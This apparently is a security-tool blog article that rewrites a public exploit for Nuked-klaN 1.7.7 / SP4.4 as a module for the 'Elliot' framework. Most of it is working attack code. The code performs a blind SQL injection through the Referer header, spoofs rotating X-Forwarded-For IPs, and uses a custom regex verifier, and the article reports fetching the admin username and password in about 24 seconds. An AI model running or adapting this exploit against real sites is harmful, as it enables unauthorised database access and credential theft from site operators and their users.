As a follow-up from the previous article on SQL injections, we will try here to exploit a trickier case. For the sake of the article we will rewrite an old exploit with a convoluted workflow. The file being quite long, let's just take a look at the vulnerability description:
Nuked-klaN suffers from a vulnerability due to HTTP_REFERER, which is not correctly filtered before being inserted in nuked_stats_visitor table. If HTTP headers are not addslashes()'d by PHP, it could lead to a INSERT SQL injection. In function view_referer() (visits.php), referers are extracted from the database to perform an other SQL query, without being secured in between. This leads to a blind SQL injection. [...
In details, the vulnerability consists of fullfilling the following requirements:
1) Perform a blind SQL injection. For each test, to verify that the query returned true, we need to build a specific pattern.
2) Change X-Forwarded-For
header in between each request. The IP we submit through this header will be passed to gethostbyaddr()
Therefore, to speed up the injection, we need to submit valid IP addresses.
We're going to try and see how the same exploit can be done with Elliot.
Blind SQL Injection
As we all know, blind SQL injections consist in a set of tests (is the first letter equal to 'a', is the first letter equal to 'b', and so on). The common method is to use a static text pattern in the HTTP response to determine whether each test returns true or false. In this case nevertheless, it is not possible, as every test result will be displayed on the page, in a particular fashion. The result is displayed like this:
<a href="[INJECTION STRING]" ...>...</a></td><td ...>[X] ([Y]%)</td>
Where [X] and [Y] are numbers. If these numbers are equal to zero, it means that our test returned false, true otherwise. We can therefore build a regular expression specific to each injection, to check the result of each test. While common tools often only propose static text as injection verifiers, Elliot contains a whole range of other options.
Elliot works with objects called "verifiers". These objects are responsible of determining if an injection was successful or not. We design our SQL test like this:
import re from core.helpers.sqli.core.parsers import verifier class NKVerifier(verifier.Verifier): def verify(self, injection): string = re.escape(injection.string) regex = ('<a href="[^<]+%s[^<]+".*?>.*?</a></td>[ \n\t\r]*' '<td[^>]+>[1-9][0-9]* \\([0-9\.]+%%\\)</td>') % string # True if the numbers are >0, False otherwise return re.search(regex, injection.response.data_str) is not None
Dynamically changing the header
Python proposes an ipaddress module, which makes things fairly easy to iterate through a given range. We are going to add a hook_request() method to our exploit. This method will be called every time a request is about to be sent.
import ipaddress class MyExploit(xSQLi): [...] # We know this base IP, along with the next 1000 others, supports a reverse DNS query spoofed_ip = ipaddress.ip_address('X.Y.1.1') def hook_request(self, request): """The spoofed IP needs to be updated every time we issue a request.""" request.add_header('X-Forwarded-For', str(self.spoofed_ip)) self.spoofed_ip += 1 return request
The exploit
The final exploit therefore looks like this:
import re import datetime import ipaddress from core.templates.exploits import * from core.helpers.sqli.core.parsers import verifier from core.helpers.sqli.core.parsers import pattern class NKVerifier(verifier.Verifier): def verify(self, injection): string = re.escape(injection.string) regex = ('<a href="[^<]+%s[^<]+".*?>.*?</a></td>[ \n\t\r]*' '<td[^>]+>[1-9][0-9]* \\([0-9\.]+%%\\)</td>') % string return re.search(regex, injection.response.data_str) is not None class MyExploit(xSQLi): uid = 'E-350' _extra_description = { 'name': 'Nuked-klaN 1.7.7 / SP4.4 SQL injection', 'creation': '2014/01/22', 'lastupdate': '2014/01/22', 'description': 'Nuked-klaN <= 1.7.7 / <= SP4.4 SQL Injection via Referer header', 'comment': '', 'author': ('',), 'vendor': 'Nuked-Klan', 'zeroday': False, 'published': '', 'references': ('http://www.exploit-db.com/exploits/6749/', ), 'cve': (), 'vulnid': ('',), 'platform': Platform.All, 'application': 'Nuked-Klan', 'version': ('1.7.7', 'SP4.4'), 'module': '', 'requirements': {}, 'payload': Payload.SQL, 'family': Family.SQLi, 'googledork': '', 'stealth': Stealth.Stealth, } spoofed_ip = ipaddress.ip_address('X.Y.1.1') today = datetime.date.today() vuln_page_default = ( 'index.php?file=Stats&nuked_nude=visits&op=view_referer&oyear=%d&omonth=%d&oday=%d' % (today.year, today.month, today.day)) def exploit(self): # The SQL injection is present in the Referer HTTP header # We mark it by the <SQL> tag, and set our previously created verifier return { 'url': self.parameters.vuln_page, 'headers': {'Referer': "%s' OR 1=1 <SQL> AND 'A'='A" % pattern.default.string()}, 'verifiers': {'success': NKVerifier()} } def hook_request(self, request): """The spoofed IP needs to be updated every time we issue a request.""" request.add_header('X-Forwarded-For', str(self.spoofed_ip)) self.spoofed_ip += 1 return request # DBMS caracteristics; since quotes aren't escaped # We don't need to encode strings dbms_default = 'MySQL' dbms_args_default = {'encoding': 'singlequote'} # The injection method method_default = 'BinaryTestMethod'
The 1400 lines of code present in the original exploit have been replaced by less than 50. The exploit efficiency benefits from all the sugar provided by the framework: multithreading, dynamic charset to adapt character probabilities as the results arrive. Also, rows are fetched in a custom way so that the same values aren't fetched multiple times.
Benchmark
Despite that the code is cleaner, we may want to see by ourselves if the exploit is faster. As an example on the same target, with the same test conditions, it takes ~60s to fetch the admin username and password, versus ~24s with this exploit.

Conclusion
This exploitation is now over. This hopefully gives a good grasp of what Elliot can do; and how fast it can do it. Stay posted on twitter